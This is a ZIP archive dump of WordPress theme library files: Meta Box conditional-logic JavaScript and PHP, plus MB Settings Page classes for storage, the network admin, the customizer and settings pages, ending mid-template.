		if ( checkCompareStatement( fieldName, '(', 'contains' ) )
			return eval(fieldName);

		if ($('#' + fieldName).length && $( '#' + fieldName).attr('type') !== 'checkbox' 
			&& typeof $('#' + fieldName).val() != 'undefined' && $('#' + fieldName).val() != null && $scope == '')
			fieldName = '#' + fieldName;

		// If fieldName start with #. Then it's an ID, just return it values
		if (checkCompareStatement( fieldName, '#', 'start_with') && $(fieldName).attr('type') !== 'checkbox' 
			&& typeof $(fieldName).val() != 'undefined' && $(fieldName).val() != null && $scope == '' )
		{
			return $(fieldName).val();	
		}

		var selector = null;

		// If [name={fieldName}] or [name*={fieldName}] exists
		if ($('[name="' + fieldName + '"]').length)
			selector = '[name="' + fieldName + '"]';

		if ($('[name*="' + fieldName + '"]').length)
			selector = '[name*="' + fieldName + '"]';

		if ( null !== selector )
		{
			var selectorType 	= $(selector).attr('type');

			if ( $.inArray( selectorType, ['text', 'file'] ) > -1 ) {
				if ( $scope == '' )
					return $(selector).val();
				else
					return $scope.find(selector).val();
			}

			// If user selected a checkbox or radio. Return array of selected fields,
			// or value of singular field.
			if ( $.inArray( selectorType, ['checkbox', 'radio', 'hidden'] ) > -1 ) {
				var arr 		= [],
					elements 	= [];

				if ( selectorType === 'hidden' && fieldName !== 'post_category' && 
					! checkCompareStatement(selector, 'tax_input', 'contains') )
					elements = ($scope != '') ? $scope.find(selector) : $(selector);
				else
					elements = ($scope != '') ? $scope.find(selector + ':checked') : $(selector + ':checked');

				// Multiple field. Selected multiple items
				if (elements.length > 1 && selectorType != 'radio'){
					elements.each(function()
					{
						arr.push($(this).val());
					});
				}
				// Singular field, selected
				else if ( elements.length === 1 ) {
					arr = elements.val();
				}
				// Singular field, not selected
				else {
					arr = 0;
				}

				return arr;
			}

			if ( $scope == '' )
				return $(selector).val();
			else
				return $scope.find(selector).val();
		}

		return 0;
	}
	
	/**
	 * Check if logics attached to fields is correct or not
	 * 
	 * If a field is hidden by Conditional Logic, then all dependent fields are hidden also
	 * 
	 * @param  Array  logics All logics applied to field
	 * 
	 * @return {Boolean}
	 */
	function isLogicCorrect(logics, $field)
	{
		var relation 	= ( typeof logics.relation != 'undefined' ) ? logics.relation : 'and',
			success 	= relation == 'and';

		$.each( logics.when, function( index, logic ) 
		{
			// Get scope of current field. Scope is only applied for Group field. 
			// A scope is a group or whole meta box which contains event source and current field.
			var $scope = getFieldScope($field, logic[0]);
			
			var dependentField = guessSelector(logic[0]);
			dependentField = $scope != '' ? $scope.find(dependentField) : $(dependentField);
			
			var isDependentFieldVisible = dependentField.closest('.rwmb-field').attr('data-visible');
			
			if ( 'hidden' == isDependentFieldVisible ) {
				success = 'hidden';
			} else {
				var item 	= getFieldValue(logic[0], $scope),
				 	compare = logic[1],
				 	value	= logic[2],
				 	check   = false,
				 	negative = false;

				// Cast to string if array has 1 element and its a string
				if ( $.isArray(item) && item.length === 1 )
					item = item[0];

				// Allows user using NOT statement.
				if (checkCompareStatement(compare, 'not', 'contains') || checkCompareStatement(compare, '!', 'contains')) {
					negative = true;
					compare  = compare.replace( 'not', '' ); 
					compare  = compare.replace( '!', '' ); 
				}

				compare = compare.trim();

				if ($.isNumeric(item))
					item = parseInt( item );

				check = checkCompareStatement( item, value, compare );

				if ( negative )
					check =! check;

				success = ( relation === 'and' ) ? success && check : success || check;
			}
		} );

		return success;
	}

	function getFieldScope($field, eventSource)
	{
		eventSource = guessSelector(eventSource);

		var $scope = '', 
			$wrapper = $(eventSource).closest('.rwmb-clone');

		if ( ! $wrapper.length || $field == '')
			return $scope;

		$wrapper.addClass('field-scope');

		$scope = $field.closest('.field-scope');

		$wrapper.removeClass('field-scope');

		return $scope;
	}

	/**
	 * Run all conditional logic statements then show / hide fields or meta boxes
	 * 
	 * @param  Array conditions All defined conditional
	 * 
	 * @return void
	 */
	function runConditionalLogic(conditions)
	{
		// Store all change selector here
		window.eventSource = [];

		$('.rwmb-conditions').each(function()
		{
			var field 			= $(this),
				fieldConditions = field.data('conditions'),
				action 			= typeof fieldConditions['hidden'] != 'undefined' ? 'hidden' : 'visible',
			 	logic 			= fieldConditions[action];

			var logicApply 		= isLogicCorrect(logic, field);
			var $selector 		= field.parent().hasClass('rwmb-field') ? field.parent() : field.closest('.postbox');

			if (logicApply === true)
				action == 'visible' ? applyVisible($selector) : applyHidden($selector);
			else if (logicApply === false)
				action == 'visible' ? applyHidden($selector) : applyVisible($selector);
			else if (logicApply === 'hidden')
				applyHidden($selector);

			$.each(logic.when, function(i, single_logic) {
				if ( ! checkCompareStatement( single_logic[0], '(', 'contains' ) )
				{
					var singleLogicSelector = guessSelector(single_logic[0]);
					if (($.inArray(singleLogicSelector, window.eventSource) < 0) && typeof singleLogicSelector != 'undefined')
						window.eventSource.push(singleLogicSelector);
				}
			});
		});

		// Outside Conditions
		$.each(conditions, function(field, logics) {	

			$.each(logics, function(action, logic) {
				
				if (typeof logic.when == 'undefined') return;

				var selector 		= guessSelector(field),
					logicApply 		= isLogicCorrect(logic, '');

				if (logicApply === true)
					action == 'visible' ? applyVisible($(selector)) : applyHidden($(selector));
				else if (logicApply === false)
					action == 'visible' ? applyHidden($(selector)) : applyVisible($(selector));
				else if (logicApply === 'hidden')
					applyHidden($(selector));

				// Add Start Point
				$.each(logic.when, function(i, single_logic) {
					if ( ! checkCompareStatement( single_logic[0], '(', 'contains' ) )
					{
						var singleLogicSelector = guessSelector(single_logic[0]);
						
						if (($.inArray(singleLogicSelector, window.eventSource) < 0) && typeof singleLogicSelector != 'undefined')
							window.eventSource.push(singleLogicSelector);
					}
				});
			});
		});
		window.eventSource.push('.add-clone');
		window.eventSource = window.eventSource.join();
	}

	/**
	 * Guess the selector by field name
	 * 
	 * @param  String fieldName Field Name
	 * 
	 * @return String selector Field Selector
	 */
	function guessSelector(fieldName)
	{
		if ( checkCompareStatement(fieldName, '(', 'contains'))
			return null;

		if ($(fieldName).length || isUserDefinedSelector(fieldName))
			return fieldName;

		// If field id exists. Then return it values
		try {
			if ( $('#' + fieldName).length 
				&& $('#' + fieldName).attr('type') !== 'checkbox' 
				&& ! $('#' + fieldName).attr('name')
                && ! $('#' + fieldName).closest('.rwmb-clone')
			)
				return '#' + fieldName;

			if ($('[name="' + fieldName + '"]').length)
				return '[name="' + fieldName + '"]';

			if ($('[name^="' + fieldName + '"]').length)
				return '[name^="' + fieldName + '"]';

			if ($('[name*="' + fieldName + '"]').length)
				return '[name*="' + fieldName + '"]';
		} catch(e){
			console.log(e);
		}
	}

	function isUserDefinedSelector(fieldName)
	{
		return checkCompareStatement(fieldName, '.', 'starts with') || 
			checkCompareStatement(fieldName, '#', 'starts with') ||
			checkCompareStatement(fieldName, '[name', 'contains') ||
			checkCompareStatement(fieldName, '>', 'contains') ||
			checkCompareStatement(fieldName, '*', 'contains') ||
			checkCompareStatement(fieldName, '~', 'contains');
	}

	function getToggleType($element)
	{
        var toggleType = 'display';
        var hasToggleTypeDefined = $element.closest('.postbox').find('.mbc-toggle-type');
        if (hasToggleTypeDefined.length) {
            toggleType = hasToggleTypeDefined.data('toggle_type');
        }

        return toggleType;
	}

	/**
	 * Visible field or entire meta box
	 * 
	 * @param  Element element Element Selector
	 * @param String toggleType 'visibility' or 'display'
	 * 
	 * @return void
	 */
	function applyVisible($element)
	{
		var toggleType = getToggleType($element);

		// Element is a Field. Find the field wrapper and show.
		if ($element.closest('.rwmb-field').length)
			$element = $element.closest('.rwmb-field');

		if (toggleType === 'display') {
			$element.show();
		}
		if (toggleType === 'slide') {
			$element.slideDown();
		}
		if (toggleType === 'fade') {
			$element.fadeIn();
		}
		else {
            $element.css('visibility', 'visible');
		}

		$element.attr('data-visible', 'visible');
	}

	/**
	 * Hide field or entire meta box
     * @param String toggleType 'visibility' or 'display'
	 * 
	 * @return void
	 */
	function applyHidden($element)
	{
        var toggleType = getToggleType($element);

		// Element is a Field. Find the field wrapper and show.
		if ($element.closest('.rwmb-field').length)
			$element = $element.closest('.rwmb-field');

        if (toggleType === 'display') {
            $element.hide();
        }
        if (toggleType === 'slide') {
        		$element.slideUp();
		}
		if (toggleType === 'fade') {
        		$element.fadeOut();
		}
        else {
            $element.css('visibility', 'hidden');
        }

		$element.attr('data-visible', 'hidden');
	}

	// Load conditional logic by default
	runConditionalLogic(conditions);

	// Listening eventSource apply conditional logic when eventSource is change
	if (window.eventSource.length > 1) {
		$(document).on('change keyup click', window.eventSource, function(event) {
			runConditionalLogic(conditions);
		});
	}
})(jQuery);PK     N\            2  inc/dashboard/lib/conditional/assets/css/style.cssnu [        PK     N\g6<F  F  =  inc/dashboard/lib/conditional/inc/class-conditional-logic.phpnu [        <?php
/**
 * Conditional Logic Main Class
 */
class MB_Conditional_Logic
{
	public function __construct()
	{
		add_action( 'admin_enqueue_scripts', array( $this, 'enqueue' ) );

        add_action( 'wp_enqueue_scripts', array( $this, 'enqueue' ) );

		add_action( 'rwmb_before', array( $this, 'insert_meta_box_conditions' ) );

		add_filter( 'rwmb_wrapper_html', array( $this, 'insert_field_conditions' ), 10, 3 );
	}

	/**
	 * Enqueue Conditional Logic script and pass conditional logic values to it
	 * 
	 * @param  String $hook Page
	 * 
	 * @return void
	 */
	public function enqueue( $hook )
    {
		$conditions 		= $this->get_all_conditions();
  
		list( , $url ) = RWMB_Loader::get_path( dirname( dirname( __FILE__ ) ) );

		if ( ! is_admin() && ! defined( 'MB_FRONTEND_SUBMISSION_DIR' ) ) {
            return;
        }

		// backward compatibility
		$url = defined( 'MBC_JS_URL' ) ? MBC_JS_URL : $url . 'assets/js/';

		wp_register_script( 'conditional-logic', $url . 'conditional-logic.js', array(), '1.5', true );

		wp_localize_script( 'conditional-logic', 'conditions', $conditions );
		
		wp_enqueue_script( 'conditional-logic' );
	}

	/**
	 * Insert data-conditions="{JSON}" to Meta Boxes or Fields.
	 *
	 * @since  1.2
	 * 
	 * @return void
	 */
	public function insert_meta_box_conditions( $obj )
	{
        $toggle_type = 'display';
        
        if  ( ! empty( $obj->meta_box['toggle_type'] ) && in_array($toggle_type, array( 'display', 'visibility' ) ) ) {
            $toggle_type = $obj->meta_box['toggle_type'];
        }
        
        echo '<div class="mbc-toggle-type" style="display: none; visibility: hidden" data-toggle_type="' . $toggle_type . '"></div>';
        
		if ( empty( $obj->meta_box ) || ( empty( $obj->meta_box['visible'] ) && empty( $obj->meta_box['hidden'] ) ) )
			return;

		$conditions = array( 'visible', 'hidden' );

		foreach ( $conditions as $index => $visibility )
		{
			unset( $conditions[$index] );

			if ( isset( $obj->meta_box[$visibility] ) )
				$conditions[$visibility] = $this->parse_condition( $obj->meta_box[$visibility] );
		}
		
		echo '<div style="display: none; visibility: hidden" class="rwmb-conditions" data-conditions="'. esc_attr( json_encode( $conditions ) ) . '"></div>';
	}

	public function insert_field_conditions( $begin, $field, $meta )
	{
		if ( empty( $field['visible'] ) && empty( $field['hidden'] ) )
			return $begin;

		$conditions = array( 'visible', 'hidden' );

		foreach ( $conditions as $index => $visibility )
		{
			unset( $conditions[$index] );

			if ( isset( $field[$visibility] ) )
				$conditions[$visibility] = $this->parse_condition( $field[$visibility] );
		}

		$begin .= '<div style="display: none; visibility: hidden" class="rwmb-conditions" data-conditions="'. esc_attr( json_encode( $conditions ) ) .'"></div>';

		return $begin;	
	}

	/**
	 * Get all attached conditional logic on fields or meta boxes
	 * 
	 * @return Mixed All attached conditional logic
	 */
	public function get_all_conditions()
	{
		$outside_conditions = apply_filters( 'rwmb_outside_conditions', array() );

		$conditions = array();

		foreach ( $outside_conditions as $field_id => $field_conditions )
		{
			if ( empty( $field_id ) ) 
				continue;

			if ( ! empty( $field_conditions['visible'] ) )
				$conditions[$field_id]['visible'] = $this->parse_condition( $field_conditions['visible'] );

			if ( ! empty( $field_conditions['hidden'] ) )
				$conditions[$field_id]['hidden'] = $this->parse_condition( $field_conditions['hidden'] );
		}

		return $conditions;	
	}

	/**
	 * Parse various style of a collection to JS readable
	 * 
	 * @param  Mixed $condition Condition
	 * 
	 * @return Array
	 */
	public function parse_condition( $condition )
	{
		if ( ! is_array( $condition ) ) 
			return;

		$relation = ( isset( $condition['relation'] ) && in_array( $condition['relation'], array('and', 'or') ) ) 
					? $condition['relation'] : 'and';

		$condition_to_normalize = $condition;
		if ( isset( $condition['when'] ) && is_array( $condition['when'] ) )
			$condition_to_normalize = $condition['when'];
		
		$when = $this->get_normalized_criteria( $condition_to_normalize );

		return compact( 'when', 'relation' );
	}

	private function get_normalized_criteria( $condition )
	{
		$normalized = array();

		foreach ( $condition as $criteria )
		{
			if ( is_array( $criteria ) )
			{
				$normalized[] = $this->normalize_criteria( $criteria );
			}
			else 
			{
				$normalized[] = $this->normalize_criteria( $condition );
				break;
			}
		}

		return $normalized;
	}

	/**
	 * If criteria has different format than normally, reformat it
	 * 
	 * @param  array $criteria Criteria to be formatted
	 * @return array Criteria after formatted
	 */
	public function normalize_criteria( $criteria )
	{
		$criteria_length = count( (array)$criteria );
		
		if ( $criteria_length === 2 ) 
			$criteria = array($criteria[0], '=', $criteria[1]);

		// Convert slug to id if conditional logic defined using slug for terms
		if ( strrpos($criteria[0], 'slug:', -strlen($criteria[0])) !== false )
		{
			$criteria[0] = ltrim( $criteria[0], 'slug:' );

			$criteria[2] = $this->slug_to_id( $criteria[2] );
		}

		return $criteria;
	}

	/**
	 * Convert slug to id
	 * 
	 * @param  Array $slugs Array of slugs
	 * 
	 * @return Array Array of ids
	 */
	private function slug_to_id( $slugs )
	{
		global $wpdb;
		
		$slugs 		= (array) $slugs;
		$sql 		= "SELECT term_id FROM {$wpdb->terms} WHERE slug IN(".implode(', ', array_fill(0, count((array)$slugs), '%s')).")";
		$prepared 	= call_user_func_array(array($wpdb, 'prepare'), array_merge(array($sql), $slugs));

		return array_map('intval', $wpdb->get_col($prepared));
	}
}PK     N\KۆR  R  -  inc/dashboard/lib/conditional/conditional.phpnu [        <?php
//Prevent loading this file directly
defined( 'ABSPATH' ) || exit;

if ( ! function_exists( 'mb_conditional_logic_load' ) ) {
	/**
	 * Hook to 'init' with priority 5 to make sure all actions are registered before Meta Box 4.9.0 runs
	 */
	add_action( 'init', 'mb_conditional_logic_load', 5 );

	/**
	 * Load plugin files after Meta Box is loaded
	 */
	function mb_conditional_logic_load() {

		if ( ! defined( 'RWMB_VER' ) || class_exists( 'MB_Conditional_Logic' ) ) {
			return;
		}

		require dirname( __FILE__ ) . '/inc/class-conditional-logic.php';
		
		new MB_Conditional_Logic;
	}
}PK     N\x6     6  inc/dashboard/lib/mb-settings-page/src/BackupField.phpnu [        <?php
class RWMB_Backup_Field extends RWMB_Textarea_Field {
	public static function html( $meta, $field ) {
		$storage_class = get_class( $field['storage'] );
		$func          = false !== strpos( $storage_class, 'Network' ) ? 'get_site_option' : 'get_option';

		$field['field_name'] = "{$field['option_name']}_backup";

		$meta = $func( $field['option_name'] );
		$meta = $meta ? wp_json_encode( $meta ) : '';

		return parent::html( $meta, $field );
	}

	public static function save( $new, $old, $post_id, $field ) {}

	public static function normalize( $field ) {
		$field = wp_parse_args( $field, [
			'rows'       => 5,
			'desc'       => __( 'To export settings, copy the content of this field and save to a file. To import settings, paste the content of the backup file here.', 'mb-settings-page' ),
			'attributes' => [
				'onclick' => 'this.select()',
			],
		] );
		$field = parent::normalize( $field );

		return $field;
	}
}PK     N\Z    :  inc/dashboard/lib/mb-settings-page/src/Network/Storage.phpnu [        <?php
namespace MBSP\Network;

use MBSP\Storage as BaseStorage;

/**
 * Storage for multisite install.
 * Save all settings in a single option. $object_id is the option name.
 */
class Storage extends BaseStorage {
	protected function get_option( $name ) {
		return (array) get_site_option( $name, array() );
	}

	protected function update_option( $name, $value ) {
		return update_site_option( $name, $value );
	}
}PK     N\/    :  inc/dashboard/lib/mb-settings-page/src/Network/MetaBox.phpnu [        <?php
namespace MBSP\Network;

use MBSP\Factory;
use MBSP\MetaBox as BaseMetaBox;

class MetaBox extends BaseMetaBox {
	protected function setup( $args ) {
		$this->pages       = Factory::get( $args['settings_pages'], 'network' );
		$this->object_type = 'network_setting';
	}

	public function get_storage() {
		return (new Storage);
	}

	public function is_edit_screen( $screen = null ) {
		if ( ! ( $screen instanceof \WP_Screen ) ) {
			$screen = get_current_screen();
		}

		$page_hooks = wp_list_pluck( $this->pages, 'page_hook' );
		$page_hooks = array_map( function( $page_hook ) {
			return "$page_hook-network";
		}, $page_hooks );

		return in_array( $screen->id, $page_hooks, true );
	}
}
PK     N\r\9|  |  ?  inc/dashboard/lib/mb-settings-page/src/Network/SettingsPage.phpnu [        <?php
namespace MBSP\Network;

use MBSP\SettingsPage as BaseSettingsPage;

class SettingsPage extends BaseSettingsPage {
	protected $type = 'network';

	protected function register_hooks() {
		add_action( 'network_admin_menu', array( $this, 'register_admin_menu' ) );
	}

	public function add_admin_notice_hook() {
		add_action( 'network_admin_notices', 'settings_errors' );
	}
}
PK     N\s^m  m  2  inc/dashboard/lib/mb-settings-page/src/Storage.phpnu [        <?php
namespace MBSP;

/**
 * Save all settings in a single option. $object_id is the option name.
 */
class Storage {
	public function get( $object_id, $name, $args = array() ) {
		$single = is_array( $args ) ? ! empty( $args['single'] ) : (bool) $args;
		$option = $this->get_option( $object_id );

		return isset( $option[ $name ] ) ? $option[ $name ] : ( $single ? '' : array() );
	}

	public function add( $object_id, $meta_key, $meta_value, $unique = false ) {
		if ( $unique ) {
			return $this->update( $object_id, $meta_key, $meta_value );
		}

		$setting = (array) $this->get( $object_id, $meta_key, array(
			'std' => array(),
		) );

		$meta_value = wp_unslash( $meta_value );
		$setting[]  = $meta_value;

		return $this->update( $object_id, $meta_key, $setting );
	}

	public function update( $object_id, $meta_key, $meta_value, $prev_value = '' ) {
		$option              = $this->get_option( $object_id );
		$option[ $meta_key ] = wp_unslash( $meta_value );

		return $this->update_option( $object_id, $option );
	}

	public function delete( $object_id, $meta_key, $meta_value = '', $delete_all = false ) {
		$option = $this->get_option( $object_id );
		if ( ! isset( $option[ $meta_key ] ) ) {
			return true;
		}

		if ( $delete_all || ! $meta_value || $option[ $meta_key ] === $meta_value ) {
			unset( $option[ $meta_key ] );
			return $this->update_option( $object_id, $option );
		}

		if ( ! is_array( $option[ $meta_key ] ) ) {
			return true;
		}

		// For field with multiple values.
		foreach ( $option[ $meta_key ] as $key => $value ) {
			if ( $value === $meta_value ) {
				unset( $option[ $meta_key ][ $key ] );
			}
		}
		return $this->update_option( $object_id, $option );
	}

	protected function get_option( $name ) {
		return (array) get_option( $name, array() );
	}

	protected function update_option( $name, $value ) {
		return update_option( $name, $value );
	}
}PK     N\m	  	  2  inc/dashboard/lib/mb-settings-page/src/MetaBox.phpnu [        <?php
namespace MBSP;

class MetaBox extends \RW_Meta_Box {
	protected $pages = [];

	public function __construct( $args ) {
		$args['settings_pages'] = (array) $args['settings_pages'];
		$this->setup( $args );
		parent::__construct( $args );
	}

	protected function setup( $args ) {
		$this->pages       = Factory::get( $args['settings_pages'], 'normal' );
		$this->object_type = 'setting';
	}

	protected function object_hooks() {
		add_action( 'mb_settings_page_load', array( $this, 'load' ) );

		if ( $this->tab ) {
 			add_action( "rwmb_before_{$this->id}", array( $this, 'show_tab' ) );
 		}
	}

	public function load( $page_args ) {
		static $message_shown = false;

		if ( ! in_array( $page_args['id'], $this->settings_pages ) ) {
			return;
		}

		$object_id = $page_args['option_name'];
		$this->set_object_id( $object_id );

		// Add meta boxes.
		add_meta_box(
			$this->id,
			$this->title,
			array( $this, 'show' ),
			null, // Current page.
			$this->context,
			$this->priority
		);

		// Save options.
		if ( empty( $_POST['submit'] ) || $page_args['is_imported'] ) {
			return;
		}

		$this->save_post( $object_id );

		// Compatible with old hook.
		$data = get_option( $object_id, array() );
		$data = apply_filters( 'mb_settings_pages_data', $data, $object_id );
		update_option( $object_id, $data );

		// Prevent duplicate messages.
		if ( ! $message_shown ) {
			add_settings_error( '', 'saved', $page_args['message'], 'updated' );
			$message_shown = true;
		}
	}

	public function is_edit_screen( $screen = null ) {
		if ( ! ( $screen instanceof \WP_Screen ) ) {
			$screen = get_current_screen();
		}

		return in_array( $screen->id, wp_list_pluck( $this->pages, 'page_hook' ), true );
	}

	public function show_tab() {
		echo '<script type="text/html" class="rwmb-settings-tab" data-tab="', esc_attr( $this->tab ), '"></script>';
	}

	public function get_storage() {
		return (new Storage);
	}

	public function register_fields() {
		$registry = rwmb_get_registry( 'field' );
		foreach ( $this->pages as $page ) {
			foreach ( $this->meta_box['fields'] as &$field ) {
				$registry->add( $field, $page->option_name, $this->object_type );

				if ( isset( $field['type'] ) && 'backup' === $field['type'] ) {
					$field['option_name'] = $page->option_name;
				}
			}
		}
	}
}
PK     N\

k    =  inc/dashboard/lib/mb-settings-page/src/Customizer/Manager.phpnu [        <?php
namespace MBSP\Customizer;

use MBSP\Factory;

class Manager {
	public function __construct() {
		// Priority 30 ensures it fires after meta boxes are registered.
		add_action( 'init', [$this, 'init'], 30 );
	}

	public function init() {
		$meta_boxes = rwmb_get_registry( 'meta_box' )->all();

		// Meta box that has a settings page.
		$settings_sections = array_filter( $meta_boxes, function( $meta_box ) {
			return $meta_box->settings_pages && Factory::get( $meta_box->settings_pages, 'customizer' );
		} );
		array_walk( $settings_sections, [$this, 'register_settings_section'] );

		// Meta box that doesn't have a settings page.
		$normal_sections = array_filter( $meta_boxes, function( $meta_box ) {
			return isset( $meta_box->meta_box['panel'] );
		} );
		array_walk( $normal_sections, [$this, 'register_normal_section'] );
	}

	private function register_settings_section( $meta_box ) {
		$panels   = Factory::get( $meta_box->settings_pages, 'customizer' );
		$meta_box = new SettingsSection( $meta_box->meta_box );
		$meta_box->register_fields();
		foreach ( $panels as $panel ) {
			$meta_box->object_id = $panel->option_name;
			new Setting( $meta_box );
		}
	}

	private function register_normal_section( $meta_box ) {
		new Setting( $meta_box );
	}
}
PK     N\5.
  .
  =  inc/dashboard/lib/mb-settings-page/src/Customizer/Setting.phpnu [        <?php
namespace MBSP\Customizer;

class Setting {
	private $meta_box;
	private $id;

	public function __construct( $meta_box ) {
		$this->meta_box = $meta_box;
		$this->id       = $meta_box->id;

		add_action( 'customize_register', array( $this, 'register' ) );
	}

	public function register( $wp_customize ) {
		$wp_customize->add_setting( $this->id, array(
			'type' => 'meta_box', // Custom setting type to prevent default WordPress saving process.
		) );
		$wp_customize->add_control( new Control( $wp_customize, $this->id, array(
			'section'  => $this->id,
			'meta_box' => $this->meta_box,
		) ) );

		// Save the setting.
		add_action( 'customize_update_meta_box', [ $this, 'save' ], 10, 2 );

		// Filter the option for previewing.
		add_action( "customize_preview_{$this->id}", [ $this, 'preview' ] );

		if ( ! empty( $_GET['customize_changeset_uuid'] ) ) {
			$this->filter_update_from_customize_changeset();
		}
	}

	public function save( $value, $setting ) {
		if ( $setting->id != $this->id ) {
			return;
		}

		$value = json_decode( $value, true );

		// Populate $_POST.
		rwmb_request()->set_post_data( $value );

		$this->meta_box->save_post( $this->meta_box->object_id );
	}

	public function preview() {
		add_filter( "option_{$this->meta_box->object_id}", [ $this, 'preview_filter' ] );
		add_filter( "default_option_{$this->meta_box->object_id}", [ $this, 'preview_filter' ] );
	}

	public function preview_filter( $original ) {
		if ( ! is_customize_preview() ) {
			return $original;
		}

		$customized = rwmb_request()->post( 'customized', '' );
		$customized = wp_unslash( $customized );
		$customized = json_decode( $customized, true );

		if ( empty( $customized[ $this->id ] ) ) {
			return $original;
		}

		$data     = json_decode( $customized[ $this->id ], true );
		$original = empty( $original ) ? [] : $original;

		return array_merge( $original, $data );
	}

	public function filter_update_from_customize_changeset() {
		add_filter( "option_{$this->meta_box->object_id}", [ $this, 'update_from_customize_changeset' ] );
		add_filter( "default_option_{$this->meta_box->object_id}", [ $this, 'update_from_customize_changeset' ] );
	}

	public function update_from_customize_changeset( $original ) {
		if ( empty( $GLOBALS['wp_customize'] ) ) {
			return $original;
		}

		$customized = $GLOBALS['wp_customize']->changeset_data();
		if ( empty( $customized[ $this->id ] ) ) {
			return $original;
		}

		$data     = json_decode( $customized[ $this->id ]['value'], true );
		$original = empty( $original ) ? [] : $original;

		return array_merge( $original, $data );
	}
}
PK     N\r5    E  inc/dashboard/lib/mb-settings-page/src/Customizer/SettingsSection.phpnu [        <?php
namespace MBSP\Customizer;

use MBSP\Storage;
use MBSP\Factory;

class SettingsSection extends \RW_Meta_Box {
	private $panels = [];

	public function __construct( $args ) {
		$args['settings_pages'] = (array) $args['settings_pages'];
		$this->panels           = Factory::get( $args['settings_pages'], 'customizer' );
		$this->object_type      = 'setting';

		parent::__construct( $args );
	}

	protected function object_hooks() {
		add_action( 'customize_register', array( $this, 'register' ) );
	}

	public function register( $wp_customize ) {
		foreach ( $this->panels as $panel ) {
			$wp_customize->add_section( $this->id, array(
				'title'          => $this->title,
				'panel'          => $panel->id,
				'capability'     => $panel->capability,
				'priority'       => $this->priority,
				'theme_supports' => $this->theme_supports,
			) );
		}
	}

	public function is_edit_screen( $screen = null ) {
		return is_customize_preview();
	}

	public function get_storage() {
		return (new Storage);
	}

	public function register_fields() {
		$registry = rwmb_get_registry( 'field' );
		foreach ( $this->panels as $panel ) {
			foreach ( $this->fields as $field ) {
				$registry->add( $field, $panel->option_name, $this->object_type );
			}
		}
	}
}
PK     N\7H    ;  inc/dashboard/lib/mb-settings-page/src/Customizer/Panel.phpnu [        <?php
namespace MBSP\Customizer;

class Panel {
	private $args;

	public function __construct( $args = array() ) {
		$this->args = $args;

		add_action( 'customize_register', array( $this, 'register' ) );
	}

	public function register( $wp_customize ) {
		$wp_customize->add_panel( $this->id, array(
			'title'    => $this->menu_title,
			'priority' => $this->priority,
		) );
	}

	public function __get( $name ) {
		return isset( $this->args[ $name ] ) ? $this->args[ $name ] : null;
	}
}
PK     N\O7g    =  inc/dashboard/lib/mb-settings-page/src/Customizer/Control.phpnu [        <?php
namespace MBSP\Customizer;

class Control extends \WP_Customize_Control {
	public $type = 'meta_box';
	public $meta_box;

	public function render_content() {
		$this->meta_box->show();
		?>
		<input type="hidden" <?php $this->link(); ?>>
		<?php
	}

	public function enqueue() {
		$this->meta_box->enqueue();

		wp_enqueue_style( 'mbsp-customizer', MBSP_URL . 'assets/customizer.css' );

		wp_register_script( 'mb-jquery-serialize-object', MBSP_URL . 'assets/jquery.serialize-object.js', ['jquery'], '2.5.0', true );
		wp_enqueue_script( 'mbsp-customizer', MBSP_URL . 'assets/customizer.js', ['customize-controls', 'mb-jquery-serialize-object', 'rwmb', 'underscore'], '', true );
	}
}PK     N\gP$_5  5  C  inc/dashboard/lib/mb-settings-page/src/Customizer/NormalSection.phpnu [        <?php
namespace MBSP\Customizer;

use MBSP\Storage;

class NormalSection extends \RW_Meta_Box {
	public function __construct( $args ) {
		parent::__construct( $args );
		$this->object_type = 'setting';

		$this->object_id = isset( $args['option_name'] ) ? $args['option_name'] : 'theme_mods_' . get_stylesheet();
	}

	protected function object_hooks() {
		add_action( 'customize_register', array( $this, 'register' ) );
	}

	public function register( $wp_customize ) {
		$wp_customize->add_section( $this->id, array(
			'title'          => $this->title,
			'panel'          => $this->panel,
			'capability'     => $this->capability,
			'priority'       => $this->priority,
			'theme_supports' => $this->theme_supports,
		) );
	}

	public function is_edit_screen( $screen = null ) {
		return is_customize_preview();
	}

	public function get_storage() {
		return (new Storage);
	}

	public function register_fields() {
		$registry = rwmb_get_registry( 'field' );
		foreach ( $this->fields as $field ) {
			$registry->add( $field, $this->object_id, $this->object_type );
		}
	}
}
PK     N\W$  $  7  inc/dashboard/lib/mb-settings-page/src/SettingsPage.phpnu [        <?php
namespace MBSP;

class SettingsPage {
	private $args;
	public $page_hook;
	protected $type;

	public function __construct( $args = [] ) {
		$this->args = $args;
		$this->register_hooks();
	}

	protected function register_hooks() {
		add_action( 'admin_menu', array( $this, 'register_admin_menu' ) );
	}

	public function register_admin_menu() {
		// Add top level menu.
		if ( ! $this->parent ) {
			$this->page_hook = add_menu_page(
				$this->page_title,
				$this->menu_title,
				$this->capability,
				$this->id,
				array( $this, 'show' ),
				$this->icon_url,
				$this->position
			);

			// If this menu has a default sub-menu.
			if ( $this->submenu_title ) {
				add_submenu_page(
					$this->id,
					$this->page_title,
					$this->submenu_title,
					$this->capability,
					$this->id,
					array( $this, 'show' )
				);
			}
		} // Add sub-menu.
		else {
			$this->page_hook = add_submenu_page(
				$this->parent,
				$this->page_title,
				$this->menu_title,
				$this->capability,
				$this->id,
				array( $this, 'show' )
			);
		}

		// Enqueue scripts and styles.
		add_action( "admin_print_styles-{$this->page_hook}", array( $this, 'enqueue' ) );

		// Load action.
		add_action( "load-{$this->page_hook}", array( $this, 'load' ) );
		add_action( "load-{$this->page_hook}", array( $this, 'add_help_tabs' ) );
		add_action( "load-{$this->page_hook}", array( $this, 'add_admin_notice_hook' ) );
	}

	public function show() {
		$class = trim( "wrap {$this->class}" );
		$class .= " rwmb-settings-{$this->style}";
		if ( $this->tabs ) {
			$class .= " rwmb-settings-tabs-{$this->tab_style}";
		}
		?>
		<div class="<?= esc_attr( $class ) ?>">
			<h1><?= esc_html( get_admin_page_title() ) ?></h1>

			<div class="rwmb-settings-wrap">
				<?php $this->output_tab_nav() ?>

				<div class="rwmb-settings-form-wrap">
					<form method="post" action="" enctype="multipart/form-data" id="post" class="rwmb-settings-form">
						<div id="poststuff">
							<?php
							// Nonce for saving meta boxes status (collapsed/expanded) and order.
							wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
							wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false );
							?>
							<div id="post-body" class="metabox-holder columns-<?= intval( $this->columns ); ?>">
								<?php if ( $this->columns > 1 ) : ?>
									<div id="postbox-container-1" class="postbox-container">
										<?php do_meta_boxes( null, 'side', null ); ?>
									</div>
								<?php endif; ?>
								<div id="postbox-container-2" class="postbox-container">
